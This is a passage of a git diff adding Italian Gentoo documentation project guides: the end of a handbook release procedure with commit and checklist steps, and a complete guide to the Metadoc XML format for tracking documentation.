+    <b>FAQ</b>, incluse le <uri link="/doc/it/faq.xml">FAQ</uri> generiche e le
+    FAQ specifiche per architettura, come quelle per AMD64, PPC, Sparc, ecc. Si
+    include anche qualsiasi guida di compatibilità o sui requisiti specifici per
+    architettura, come per MIPS. Qualsiasi cosa relativa alle architetture
+    supportate può variare da rilascio a rilascio; bisogna quindi contattare i
+    vari team delle architetture per individuare tali cambiamenti.
+  </li>
+  <li>
+    <uri link="/doc/it/liveusb.xml">Guida a Gentoo Linux LiveUSB</uri>, per le
+    persone che vogliono usare una chiave USB al posto dei dei CD
+    d'installazione. Verificare attentamente che i parametri di boot, nonché il
+    processo di creazione del supporto, siano ancora corretti.
+  </li>
+  <li>
+    <b>Guide di aggiornamento</b>, per esempio la <uri
+    link="/doc/it/gentoo-upgrading.xml">Guida all'aggiornamento di
+    Gentoo</uri>, in quanto questo documento contiene le informazioni per
+    l'aggiornamento del profilo. Molti rilasci includono nuovi profili e rendono
+    deprecati o rimuovono vecchi profili. Inoltre, qualsiasi cambiamento
+    introdotto da baselayout tra dei rilasci avrà tutte le relative informazioni
+    di aggiornamento spiegate in dettaglio in questo documento.
+  </li>
+  <li>
+    <uri link="/doc/it/kernel-config.xml">Guida alla configurazione del
+    kernel</uri>. Mantenere le opzioni raccomandate e disponibili in questo file
+    sincronizzate con quelle del Manuale d'Installazione.
+  </li>
+  <li>
+    <path>metadoc.xml</path>, che conterrà i collegamento aggiornati ai file
+    correnti del manuale, sia quello con collegamento ad Internet ("networked",
+    ndT), sia quello senza ("networkless", ndT).
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Effettuare il commit</title>
+<section>
+<title>Linee guida generali</title>
+<body>
+
+<p>
+Ricordarsi, prima di effettuare il commit di qualunque cambiamento ad un
+documento, di validare il file con <c>xmllint --valid --noout</c>. Qualità!
+Aspirare alla perfezione tecnica e procedurale. <e>Eviterà</e> molti dispiaceri
+al responsabile di questo importante compito, quando verrà l'ora dell'effettivo
+rilascio.
+</p>
+
+<p>
+Evitare di mischiare correzioni ortografiche, grammatiche, o di stile di
+codifica GuideXML con le correzioni informative/procedurali (cambiamenti di
+contenuto), altrimenti si rischia di mettere in seria difficoltà i traduttori;
+meglio evitarlo. Cercare di effettuare prima i commit delle correzioni dei
+contenuti, poi quelle non per il contenuto.
+</p>
+
+<p>
+Non importa effettuare l'incremento delle date quando si sta lavorando sulle
+proprie bozze fuori linea. Risparmiare l'incremento finale di data per il commit
+"in linea" definitivo. Tuttavia, si potrebbe voler effettuare l'incremento al
+numero di versione corretto prima del commit "in linea", tanto per togliersi
+il pensiero. È anche un indicatore pratico per ricordarsi se si ha aggiornato o
+no la data del file. Quando si è pronti per il commit finale, assicurarsi di
+verificare la versione e le date per ciascun file. (È consigliabile prendersi
+qualche caffè; il processo è noioso ma necessario.)
+</p>
+
+<p>
+Per quanto possibile, cercare di mantenere il testo e il layout delle sezioni
+(incluso l'ordine) identico tra i diversi manuali delle architetture,
+specialmente per il contenuto condiviso.
+</p>
+
+<p>
+Se si includono dei &lt;-- TODO comments --&gt; nei documenti come note per sé
+stessi, assicurarsi di rimuoverle prima di effettuare il commit del documento
+definitivo, in modo da non fare confusione.
+</p>
+
+<p>
+Quando si è pronti per il commit "in linea", non dimenticarsi di rimuovere
+qualsiasi disclaimer "draft" dai collegamenti dei file.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Procedure consigliate</title>
+<section>
+<body>
+
+<p>
+Le procedure seguenti non <e>devono</e> essere eseguite in uno specifico ordine,
+ma sono comunque raccomandate. Aiuteranno a fare un uso efficiente del proprio
+tempo, limitando il più possibile gli errori. Questo ordine di procedimento (o
+qualcosa di simile ad esso ;) ) ha funzionato piuttosto bene per gli ultimi
+rilasci.
+</p>
+
+<impo>
+La <e>primissima</e> cosa da fare è <e>aprire un bug per il tracciamento del
+rilascio del manuale</e>. Mettere in CC i team delle architetture, di releng, e
+chiunque altro sia essenziale per la procedura di aggiornamento dei manuali; Si
+avrà bisogno del loro aiuto per il contenuto, come anche quello dei propri
+compagni membri del GDP per mettere tutto insieme. Una volta fatto, ci si può
+concentrare sull'effettiva revisione dei documenti. Tenere aggiornati i membri
+del GDP e quelli degli altri progetti riguardo ai progressi del proprio lavoro
+pubblicando aggiornamenti dello stato dei lavori sul bug ed inviando email a
+seconda delle necessità.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Revisione delle bozze</title>
+<body>
+
+<p>
+Cominciare con i manuali d'installazione:
+</p>
+
+<ol>
+  <li>
+    Creare la directory per il nuovo manuale per l'installazione senza
+    collegamento ad Internet ("networkless", ndT); es.
+    <path>handbook/2007.1/</path>
+  </li>
+  <li>
+    Copiare tutti i file dell'attuale manuale "networkless" nella directory del
+    nuovo manuale. Non ci sono problemi se questa directory è effettivamente "in
+    linea", in quanto non verrà inserito nessun collegamento ad essa dalle
+    pagine degli indici.
+  </li>
+  <li>
+    Copiare i file dell'attuale manuale d'installazione via Internet
+    ("networked", ndT) in <path>handbook/draft/</path>
+  </li>
+  <li>
+    Effettuare il commit di queste aggiunte. Fare una copia diretta <b>senza</b>
+    nessuna modifica! Altrimenti c'è il rischio di complicare il lavoro dei
+    traduttori nel seguire le modifiche
+  </li>
+  <li>
+    Modificare le pagine handbook-$arch.xm del manuale "networkless",
+    assicurandosi che abbiano il disclaimer "draft" nel proprio collegamento
+    interno (attributo "link" del tag &lt;guide&gt; , ndT)
+  </li>
+  <li>
+    Scorrere i vari file e rinumerare i vecchi nomi/numeri di rilascio a quello
+    imminente, es. 2007.0 --> 2007.1. Questo è anche il momento giusto per
+    effettuare l'incremento alla versione superiore ("major version", ndT) per
+    ciascuna pagina. Ciascun rilascio riceve un numero di &lt;version&gt;
+    superiore. Perciò, per esempio, i riferimenti a 2007.0 in
+    <path>hb-install-kernel.xml</path> diventano 2007.1, ed il contenuto di
+    &lt;version&gt; del file viene incrementato da 7.4 a 8.0. Se è 4.3, diventa
+    5.0, e così via.
+  </li>
+  <li>
+    Iniziare ad introdurre i cambiamenti di contenuto (e non) ai file, prestando
+    attenzione a non mischiare le due cose. Ricordarsi che la maggior parte dei
+    cambiamenti, ma non tutti, si applicheranno sia al manuale "networked" che a
+    quello "networkless" pertanto essere cauti quando si raddoppieranno i propri
+    commit. Inoltre, fare attenzione ai cambiamenti del manuale che hanno
+    bisogno di essere propagati anche ai file non di manuale, per esempio le
+    FAQ.
+  </li>
+  <li>
+    Fare le modifiche necessarie ai file non appartenenti al manuale, ma cercare
+    di mantenerli fuori linea, come spiegato qui sotto.
+  </li>
+</ol>
+
+<impo>
+Prestare attenzione quando si sta lavorando sui file al di fuori della directory
+<path>/handbook/</path>! Se le informazioni aggiornate che si stanno inserendo a
+questi documenti non danneggiano <e>immediatamente</e>gli utenti e non è
+altrimenti prematuro, proseguire ed effettuare il commit di tali cambiamenti sui
+documenti in linea. Diversamente, si dovrebbero mantenere fuori linea le proprie
+modifiche, solamente sulla propria macchina locale. Inoltre, fare attenzione a
+non alterare i file del manuale dentro alla directory principale
+<path>/handbook/</path>; assicurarsi di effettuare il commit dei cambiamenti
+solo in <path>/handbook/draft/</path> e <path>/handbook/$nuovo-rilascio/</path>.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Preparare i manuali "networkless" da inserire su disco</title>
+<body>
+
+<p>
+I manuali "networkless" dovranno essere pronti qualche giorno prima della data
+reale di rilascio, in quanto i membri di releng dovranno inserirli nelle
+immagini ISO un po' in anticipo. Ovviamente, bisogna mantenere i manuali
+"networkless" il più aggiornati e perfetti possibile; idealmente con incrementi
+di versione, e anche di data, giusto prima di doverli racchiudere nell'archivio
+tarball.
+</p>
+
+<p>
+Sfortunatamente, il team GDP non ha più uno script funzionante per convertire i
+manuali nella versione HTML che va a finire sul disco. In alternativa, usare il
+codice sorgente online renderizzato in HTML contenuto in
+<path>/handbook/$nuovo-rilascio/</path>. Scaricare la versione completa
+<b>Stampabile</b> del codice sorgente dei manuali per le architetture richieste
+usando il proprio browser preferito, salvandolo come <path>index.html</path>.
+</p>
+
+<pre caption="Creare il manuale su disco">
+<comment>(Creare la directory che verrà compressa con tar)</comment>
+$ <i>mkdir -p handbook/html/css</i>
+$ <i>cd handbook/html/</i>
+<comment>(Spostare qui il file HTML)</comment>
+$ <i>mv ../../index.html ./</i>
+<comment>(Scaricare il CSS di Gentoo)</comment>
+$ <i>wget http://www.gentoo.org/css/main.css -O css/main.css</i>
+</pre>
+
+<p>
+Successivamente bisognerà modificare il file HTML con il proprio editor
+preferito. Cambiare il collegamento CSS nella testata del documento in
+<path>css/main.css</path> come mostrato:
+</p>
+
+<pre caption="Modificare handbook-sparc.html">
+&lt;link title="new" rel="stylesheet" href="<i>css/main.css</i>" type="text/css"&gt;
+</pre>
+
+<p>
+Salvare i cambiamenti, poi creare un archivio tar della directory principale
+<path>handbook</path> appena creata. Salvarlo come
+<path>handbook-arch.tar.gz</path> (dove <path>arch</path> è il nome
+dell'architettura), infine spedirlo al team releng. Ripetere l'operazione per
+ciascuna architettura che ha un manuale d'installazione "networkless".
+</p>
+
+</body>
+</section>
+<section>
+<title>Effettuare il commit, includendo il rilascio finale</title>
+<body>
+
+<ol>
+  <li>
+    Appena si pensa di essere pronti per il rilascio, tornare indietro
+    ripassando ciascuno dei file e verificare che il codice XML sia valido e ben
+    formato. <brite>Correggere ora qualsiasi errore</brite>, non quando si andrà
+    ad effettuare il commit finale.
+  </li>
+  <li>
+    Verificare che le versioni e le date dei file siano state propriamente
+    incrementate
+  </li>
+  <li>
+    Rimuovere i disclaimer "draft" dalle pagine indice handbook-$arch per i
+    manuali "networkless".
+  </li>
+  <li>
+    Rimuovere qualsiasi commento &lt;-- TODO --&gt; o nota inseriti in
+    precedenza.
+  </li>
+  <li>
+    Assicurarsi di aver creato gli archivi tar per i manuali "networkless" ed
+    averli spediti al team releng per i CD d'installazione, come delineato
+    precedentemente.
+  </li>
+  <li>
+    Spostare i file da <path>handbook/draft/</path> in <path>handbook/</path>,
+    sovrascrivendo i vecchi e rimuovendo i file obsoleti dove necessario.
+  </li>
+  <li>Assicurarsi che <path>metadoc.xml</path> sia corretto.</li>
+  <li>
+    Verificare manualmente che ogni singolo file che si ha modificato sia
+    effettivamente corretto sotto ogni aspetto. (Anche qui torna utile un bel po'
+    di caffè).
+  </li>
+  <li>
+    Assicurarsi di non aver dimenticato nessuna patch o contenuto dal bug di
+    tracciamento per il rilascio del manuale.
+  </li>
+  <li>
+    Nel momento in cui si è convinti che tutto sia pronto, spostarsi con il
+    comando <c>cd</c> nella directory più in alto, solitamente
+    <path>/doc/en/</path> ed effettuare un commit <e>atomico</e>, in modo da
+    mettere in linea tutto il contenuto nello stesso momento.
+  </li>
+  <li>
+    Comunicare con i propri compagni sviluppatori: inviare annunci/aggiornamenti
+    di stato sul bug di tracciamento e ad ogni mailing list necessaria.
+  </li>
+  <li><e>Fare un respiro profondo</e></li>
+  <li>
+    Fare un passo indietro e ri-esaminare ogni singolo file di cui si ha appena
+    effettuato il commit. Magari si può controllare gentoo-doc-cvs, in quanto
+    c'è sempre qualcosa che potrebbe essere sfuggito; ora è il momento per
+    assicurarsi di non aver dimenticato alcun contenuto.
+  </li>
+</ol>
+
+<p>
+Infine, una volta che il rilascio è pubblico, e tutto fila più o meno bene,
+proseguire e chiudere il bug di tracciamento. Bella sensazione, vero? Ora
+bisognerà correggere i bug report degli utenti e dei sviluppatori man mano
+verrano inseriti!
+</p>
+
+<p>
+E poi, prima di accorgersene, sarà ora di iniziare il ciclo di rilascio
+<e>un'altra volta ancora</e> . . . :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Breve lista di controllo pre-rilascio</title>
+<section>
+<body>
+
+<p>
+Questa è una versione ridotta di quanto scritto in precedenza, da fare
+immediatamente prima del commit "in linea" finale:
+</p>
+
+<ul>
+  <li>
+    File del manuale "networked" in <path>handbook/draft/</path>. Controllare le
+    pagine handbook-$arch pages. Sistemare i collegamenti interni/esterni ai
+    documenti, numeri di versione di rilascio, e incrementi di revisione dei
+    file e date.
+  </li>
+  <li>
+    Le pagine <path>index.xml</path> del manuale; verificare le traduzioni
+    elencate e altre informazioni.
+  </li>
+  <li>
+    File del manuale "networkless" in <path>handbook/$new-release/</path>.
+    Stessi controlli dei file del manuale "networked". Rimuovere i disclaimer
+    "draft".
+  </li>
+  <li>
+    Controlli del manuale di Rete per <path>handbook/draft/</path>: attuale e
+    consistente.
+  </li>
+  <li>
+    Controlli del manuale di Portage per <path>handbook/draft/</path>: attuale e
+    consistente.
+  </li>
+  <li>
+    Controlli del manuale sulla Sicurezza per <path>/doc/en/security/</path>: ha
+    un basso livello di manutenzione, verificare comunque in ogni caso.
+  </li>
+  <li>
+    Controllare <path>/doc/en/</path> per modifiche in sospeso per questi file
+    contenuti nel livello superiore. Si includono le guide veloci
+    all'installazione, FAQ, guide di aggiornamento, guide per il kernel, ecc.
+  </li>
+  <li>
+    Controllo di <path>metadoc.xml</path>: verificare i file che compongono il
+    nuovo rilascio. Sovrascrivere le vecchie voci ed effettuare un incremento di
+    versione di metadoc.
+  </li>
+  <li>
+    Validare ogni singolo file contenuto in <path>/doc/en/</path>,
+    <path>handbook/draft/</path>, e <path>handbook/$new-release/</path> tramite
+    <c>xmllint --valid --noout</c>. Sì, ancora. Correggere gli errori.
+  </li>
+  <li>
+    Controllare il bug di tracciamento per il rilascio del manuale per qualunque
+    compito rimanente.
+  </li>
+  <li>
+    Spostarsi con il comando <c>cd</c> in <path>/doc/en/</path> ed effettuare il
+    commit atomico.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/metadoc-guide.xml b/xml/htdocs/proj/it/gdp/doc/metadoc-guide.xml
new file mode 100644
index 00000000..92c4a322
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/metadoc-guide.xml
@@ -0,0 +1,505 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/gdp/doc/metadoc-guide.xml,v 1.3 2005/05/05 17:59:58 so Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/gdp/doc/metadoc-guide.xml" lang="it">
+<title>Guida a Gentoo Metadoc XML</title>
+
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<author title="Redazione">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="posta@massimo.it">Massimo Canali</mail>
+</author>
+
+<abstract>
+Questa guida, destinata agli sviluppatori, spiega come usare il formato Metadoc
+XML che permette al Gentoo Documentation Project di gestire la gerarchia della
+documentazione e consente di immagazzinare un maggior numero di informazioni
+riguardo ciascun documento.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-04-04</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Perchè c'è Bisogno di MetadocXML?</title>
+<body>
+
+<p>
+MetadocXML non è una necessità, è semplicemente una risorsa aggiuntiva per il
+Gentoo Documentation Project per tener traccia dei documenti, anche di quelli
+che non sono collocati nell'area <path>[gentoo]/xml/htdocs/doc</path>.
+</p>
+
+<p>
+Grazie a MetadocXML ora è possibile:
+</p>
+
+<ul>
+  <li>
+    tenere traccia dei documenti appartenenti all'area 'project' del nostro
+    spazio web (<path>/proj</path>) oltre a quelli che trovi nell'area della
+    documentazione normale (<path>/doc</path>)
+  </li>
+  <li>
+    dividere la documentazione in diverse categorie (o sottocategorie) con il
+    vantaggio ulteriore che ora possiamo generare automaticamente un indice di
+    riepilogo dei documenti (e molto altro)
+  </li>
+  <li>
+    tenere traccia della documentazione dei membri non ufficiali del team (come
+    i traduttori)
+  </li>
+  <li>
+    utilizzare sezioni dei documenti più corposi (i manuali -- handboooks) come
+    guide indipendenti destinate a determinati argomenti
+  </li>
+  <li>
+    assegnare bug a particolari documenti con la possibilità di mascherare un
+    documento nel caso di un bug critico
+  </li>
+  <li>
+    verificare con facilità se un documento tradotto è, o meno, aggiornato al
+    suo omologo in Inglese
+  </li>
+</ul>
+
+<p>
+Tieni presente che l'ultimo punto è ancora in fase embrionale e probabilmente
+non subirà ulteriori sviluppi. Esistono infatti strumenti più potenti e con
+maggiori funzionalità (come lo script di Xavier:
+<uri link="http://dev.gentoo.org/~neysx/trads/trads-doc.html">trads-doc</uri>).
+</p>
+
+<p>
+I team di traduttori che non fanno uso di MetadocXML non si devono
+preoccupare - non avranno nessun problema - non ci sono cambiamenti a GuideXML
+che richiedano MetadocXML.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come Funziona MetadocXML?</title>
+<body>
+
+<p>
+Tutto ruota attorno a un file principale dove verranno organizzate le
+meta-informazioni sulla documentazione esistente. Chiameremo questo file
+<path>metadoc.xml</path>. Questo file sarà probabilmente collocato nelle
+rispettive aree principali di localizzazione linguistica
+(<path>/doc/${LANGUAGE}</path>) anche se non è ancora stato stabilito.
+</p>
+
+<p>
+Questo file conterrà le seguenti meta-informazioni:
+</p>
+
+<ul>
+  <li>I membri del team</li>
+  <li>Le categorie di appartenenza dei documenti</li>
+  <li>I file contemplati</li>
+  <li>I documenti contemplati</li>
+  <li>I bug che fanno parte di un documento</li>
+</ul>
+
+<p>
+Accanto a <path>metadoc.xml</path> è possibile avere un file indice generato
+automaticamente (chiamato <path>index.xml</path>), un elenco completo di tutta
+la documentazione (chiamato <path>list.xml</path>) e un elenco completo di
+tutti i membri del team, di tutti i file e di tutti i bug (chiamato
+<path>overview.xml</path>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>metadoc.xml</title>
+<section>
+<title>La struttura</title>
+<body>
+
+<p>
+<path>metadoc.xml</path> inizia con la consueta stringa di inizializzazione XML
+e con l'intestazione per il CVS di Gentoo:
+</p>
+
+<pre caption="Apertura del file XML">
+&lt;?xml version='1.0' encoding="UTF-8"?&gt;
+&lt;!-- &#36;Header: /var/cvsroot/gentoo/xml/htdocs/doc/en/metadoc.xml,v 1.25 2004/12/23 09:51:30 swift Exp &#36; --&gt;
+&lt;!DOCTYPE metadoc SYSTEM "/dtd/metadoc.dtd"&gt;
+</pre>
+
+<p>
+Ora vengono inserite le dichiarazioni proprie di MetadocXML.
+</p>
+
+<pre caption="Dichiarazioni di MetadocXML (Inglese)">
+&lt;metadoc lang="<comment>en</comment>"&gt;
+</pre>
+
+<p>
+I traduttori, mediante l'attributo <path>/doc/en/metadoc.xml</path>, dovranno
+fare riferimento a <path>/doc/en/metadoc.xml</path>. Questo permette a metadoc
+di individuare file non tradotti e di verificare se le versioni dei documenti
+tradotti e degli originali coincidono.
+</p>
+
+<pre caption="Dichiarazioni di MetadocXML (versioni tradotte)">
+&lt;metadoc lang="<comment>codice della lingua</comment>"
+parent="/doc/en/metadoc.xml"&gt;
+</pre>
+
+<p>
+Dopo <c>metadoc</c> andranno inseriti i seguenti elementi (esattamente in
+quest'ordine):
+</p>
+
+<ul>
+  <li>
+    <c>version</c> per tenere traccia delle modifiche
+  </li>
+  <li>
+    <c>members</c> che dichiara i membri di un determinato team di
+    traduttori
+  </li>
+  <li>
+    <c>categories</c> che dichiara le categorie di appartenenza
+  </li>
+  <li>
+    <c>files</c> che contiene tutti i file contemplati da Metadoc
+  </li>
+  <li>
+    <c>docs</c> che contiene tutti i documenti contemplati da Metadoc
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>L'elemento 'version'</title>
+<body>
+
+<p>
+Il numero di versione dovrebbe essere incrementato quando viene aggiunto o
+rimosso un documento o un file, quando viene cambiato un 'path' o per qualsiasi
+modifica che vada a influire sulle versioni tradotte del documento.
+</p>
+
+</body>
+</section>
+<section>
+<title>L'elemento 'members'</title>
+<body>
+
+<p>
+All'interno dell'elemento <c>members</c> è possibile dichiarare due tipi di
+membri: <c>lead</c> e <c>member</c>. <c>lead</c> deve essere noto alla Gentoo
+Developers Relations dato che consiste soltanto nel nickname del leader del team
+e vi fa riferimento nella Gentoo Memberlist. <c>member</c> può essere uno
+Sviluppatore Gentoo (nel qual caso consiste nel suo nickname) oppure un
+collaboratore.
+</p>
+
+<p>
+Nel caso di un collaboratore, l'elemento <c>member</c> avrà due
+attributi, <c>mail</c> e <c>fullname</c>; rispettivamente, l'indirizzo di posta
+elettronica e il nome completo del collaboratore.
+</p>
+
+<pre caption="Esempio d'uso di 'members'">
+&lt;members&gt;
+  &lt;lead&gt;swift&lt;/lead&gt;
+  &lt;lead&gt;neysx&lt;/lead&gt;
+  &lt;member&gt;dertobi123&lt;/member&gt;
+  &lt;member mail="gentoo_contributor@gmail.com" fullname="John
+Doe"&gt;jdoe&lt;/member&gt;
+&lt;/members&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'elemento 'categories'</title>
+<body>
+
+<p>
+All'interno dell'elemento <c>categories</c> è possibile dichiarare soltanto
+elementi <c>cat</c>. Ogni elemento <c>cat</c> contempla una Categoria e
+utilizza un parametro obbligatorio, <c>id</c>, per riferirsi ad essa. È anche
+possibile definire il parametro <c>parent</c> nel caso una categoria sia
+elemento 'figlio' di un'altra categoria.
+</p>
+
+<p>
+In questo caso, l'attributo <c>parent</c> fa riferimento alla categoria 'padre'
+mediante l'attributo <c>id</c>.
+</p>
+
+<pre caption="Esempio d'uso di 'categories'">
+&lt;categories&gt;
+  &lt;cat id="faq"&gt;Frequently Asked Questions&lt;/cat&gt;
+  &lt;cat id="install"&gt;Installation Related Resources&lt;/cat&gt;
+  &lt;cat id="install_guides"&gt;Installation Guides&lt;/cat&gt;
+&lt;/categories&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'elemento 'files'</title>
+<body>
+
+<p>
+L'elemento <c>files</c> contiene soltanto elementi <c>file</c>.
+</p>
+
+<p>
+Ogni elemento <c>file</c> fa riferimento a un determinato file XML. Ha un
+parametro obbligatorio, <c>id</c>, che può essere visto come una chiave
+primaria di ricerca del file. Metadoc confronterà, nel proprio file 'padre'
+(definito nell'elemento radice), il nome del file con lo stesso attributo
+<c>id</c> per verificare se si tratta di una traduzione o di un file non
+tradotto. Nel secondo caso il nome sarà identico.
+</p>
+
+<p>
+Lo stesso file metadoc.xml potrà trovarsi in elenco e apparire così nella
+pagina di riepilogo.
+</p>
+
+<pre caption="Esempio d'uso di 'files'">
+&lt;files&gt;
+  &lt;file id="metadoc"&gt;/doc/en/metadoc.xml&lt;/file&gt;
+  &lt;file id="ati-faq"&gt;/doc/en/ati-faq.xml&lt;/file&gt;
+&lt;/files&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'elemento 'docs'</title>
+<body>
+
+<p>
+L'elemento <c>docs</c> contiene soltanto elementi <c>doc</c>.
+</p>
+
+<p>
+Ogni elemento <c>doc</c> ha un attributo obbligatorio, <c>id</c> che ha il
+ruolo di chiave primaria del documento.
+</p>
+
+<p>
+All'interno di ogni elemento <c>doc</c> deve essere presente almeno un elemento
+'figlio': l'elemento <c>fileid</c> che fa riferimento all'attributo <c>id</c>
+dell'elemento <c>file</c> corrispondente al file principale del documento.
+</p>
+
+<p>
+Consideriamo il caso di un capitolo di un manuale: deve riferirsi alla pagina
+principale del manuale stesso (il file XML di livello più alto). L'elemento
+<c>fileid</c> contiene a sua volta due attributi, <c>vpart</c> e <c>vchap</c>,
+che fanno riferimento alla sezione e al capitolo a cui appartiene il documento.
+</p>
+
+<p>
+All'interno dell'elemento <c>doc</c> possiamo inserire altri due elementi:
+</p>
+
+<ul>
+  <li>
+    Uno o più elementi <c>memberof</c> che si riferisce alla categoria (o
+    alle categorie) alla quale appartiene il documento (ricorda che un
+    documento può appartenere a più categorie).
+  </li>
+  <li>
+    Un elemento <c>bugs</c> che contiene a sua volta uno o più elementi
+    <c>bug</c>. Un elemento <c>bug</c> fa riferimento al numero identificativo
+    di un bug presente nel documento. Nel caso si trattasse di un bug
+    importante, è possibile assegnare all'elemento <c>bug</c> un attributo
+    <c>stopper="yes"</c> che impedirà al documento di apparire nella pagina
+    indice.
+  </li>
+</ul>
+
+<pre caption="Esempio d'uso di 'docs'">
+&lt;docs&gt;
+  &lt;doc id="handbook_x86"&gt;
+    &lt;memberof&gt;install_guides&lt;/memberof&gt;
+    &lt;fileid&gt;handbook-x86&lt;/fileid&gt;
+    &lt;bugs&gt;
+      &lt;bug&gt;70753&lt;/bug&gt;
+    &lt;/bugs&gt;
+  &lt;/doc&gt;
+  &lt;doc id="portage-intro"&gt;
+    &lt;memberof&gt;gentoo_portage&lt;/memberof&gt;
+    &lt;fileid vpart="2" vchap="1"&gt;handbook-x86&lt;/fileid&gt;
+  &lt;/doc&gt;
+  &lt;doc id="uml"&gt;
+    &lt;memberof&gt;sysadmin_general&lt;/memberof&gt;
+    &lt;fileid&gt;uml&lt;/fileid&gt;
+  &lt;/doc&gt;
+&lt;/docs&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>File Correlati con MetadocXML</title>
+<section>
+<title>Indice Generato Automaticamente</title>
+<body>
+
+<p>
+Per generare un indice automaticamente, è necessario iniziare un documento come
+segue:
+</p>
+
+<pre caption="Indice Generato Dinamicamente">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Sostituire a "/doc/en/metadoc.xml" il percorso al file
+metadoc desiderato --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Gentoo Documentation Resources</i>&lt;/title&gt;
+&lt;intro&gt;
+
+<comment>(...)</comment>
+
+&lt;/intro&gt;
+
+&lt;catid&gt;<i>faq</i>&lt;/catid&gt;
+&lt;catid&gt;<i>install</i>&lt;/catid&gt;
+
+&lt;/dynamic&gt;
+</pre>
+
+<p>
+Tra i tag <c>intro</c> devi inserire le sezioni che desideri visualizzare a
+inizio pagina. Potresti scrivere anche una breve introduzione e fornire al
+lettore i contatti a cui fare riferimento in caso di errori di traduzione o per
+altri problemi.
+</p>
+
+<p>
+Tra i tag <c>intro</c> puoi usare il formato GuideXML iniziando da
+<c>section</c>.
+</p>
+
+<p>
+I tag <c>catid</c> fanno riferimento alle categorie principali usate
+nell'indice dinamico. Devi elencare tutte le categorie principali che trovi nel
+tuo documento metadoc. <e>Non devi elencare</e> nessuna categoria 'figlia' di
+un'altra categoria.
+</p>
+
+</body>
+</section>
+<section>
+<title>Elenchi Generati Dinamicamente</title>
+<body>
+
+<p>
+Un elenco generato dinamicamente inizia esattamente come un documento indice:
+</p>
+
+<pre caption="Elenco generato dinamicamente">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Sostituire a "/doc/en/metadoc.xml" il percorso al file
+metadoc desiderato --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Gentoo Documentation Listing</i>&lt;/title&gt;
+</pre>
+
+<p>
+Come si può notare, non esiste il tag <c>intro</c>. Ora occorre aggiungere
+tutte le categorie principali che verranno inserite nell'Elenco. A differenza
+degli indici generati (che mostrano anche le informazioni introduttive di
+ciascun documento) aggiungiamo le categorie, taggate con <c>list</c>, tra i tag
+<c>listing</c>:
+</p>
+
+<pre caption="Elenco delle categorie">
+&lt;listing&gt;
+  &lt;list&gt;faq&lt;/list&gt;
+  &lt;list&gt;install&lt;/list&gt;
+&lt;/listing&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Documenti di Riepilogo Generati Dinamicamente</title>
+<body>
+
+<p>
+Un documento di riepilogo inizia allo stesso modo dei due appena descritti:
+</p>
+
+<pre caption="Documento di riepilogo generato dinamicamente">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Sostituire a "/doc/en/metadoc.xml" il percorso al file
+metadoc desiderato --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Documentation Development Overview</i>&lt;/title&gt;
+</pre>
+
+<p>
+Anche qui puoi aggiungere una breve introduzione in formato GuideXML tra i tag
+<c>intro</c>, iniziando dall'elemento <c>section</c>. Dopodichè è sufficiente
+inserire un tag <c>&lt;overview/&gt;</c>.
+
+</p>
+
+<pre caption="I tag 'intro' e 'overview'">
+&lt;intro&gt;
+<comment>(...)</comment>
+&lt;/intro&gt;
+
+&lt;overview/&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/translators-howto.xml b/xml/htdocs/proj/it/gdp/doc/translators-howto.xml
new file mode 100644
